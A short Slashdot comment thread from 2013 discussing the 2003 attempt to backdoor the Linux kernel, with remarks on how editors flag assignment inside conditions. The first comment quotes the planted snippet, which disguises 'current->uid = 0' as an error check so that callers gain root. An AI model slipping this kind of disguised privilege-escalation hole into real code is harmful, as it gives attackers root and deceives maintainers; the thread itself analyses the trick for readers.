News for hackers. Stuff that matters.
Re:The Linux Backdoor Attempt of 2003 by Stratoscope on Wednesday October 09, 2013 @10:42PM (#6525369)

  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;
> ...A casual reading by an expert would interpret this as innocuous error-checking code...

Wait... Wait... A casual reading by any expert should result in the question "why is this code setting current->uid to 0?"

After all, in case said expert has forgotten the difference between = and ==, this little bit of code all by itself has two correct reminders about what those operators actually do.

Re:The Linux Backdoor Attempt of 2003 by andyhmltn on Thursday October 10, 2013 @05:07AM (#6526454)
Although I noticed it judging by the amount of times I've fell for those 'check the error in this sentence' games I would assume that if you're reading a lot of code and you see the 'if' you would subconsciously interpret it as two equals signs.
Re:The Linux Backdoor Attempt of 2003 by derleth on Thursday October 10, 2013 @12:53AM (#6525718)
Even better: Emacs has cwarn-mode, which by default highlights = (assignment-equal) in tests in BRIGHT RED. I'm sure Vim has something similar; maybe the customized version of uEmacs/PK 4.0.15 Linus uses does not.

http://www.emacswiki.org/emacs/CWarnMode

http://en.wikipedia.org/wiki/MicroEMACS

http://web.archive.org/web/20061124122032/http://www.stifflo...

Re:The Linux Backdoor Attempt of 2003 by annnnd on Thursday October 10, 2013 @03:01AM (#6526106)
Most IDEs do that today - but I wonder how many did that in 2003?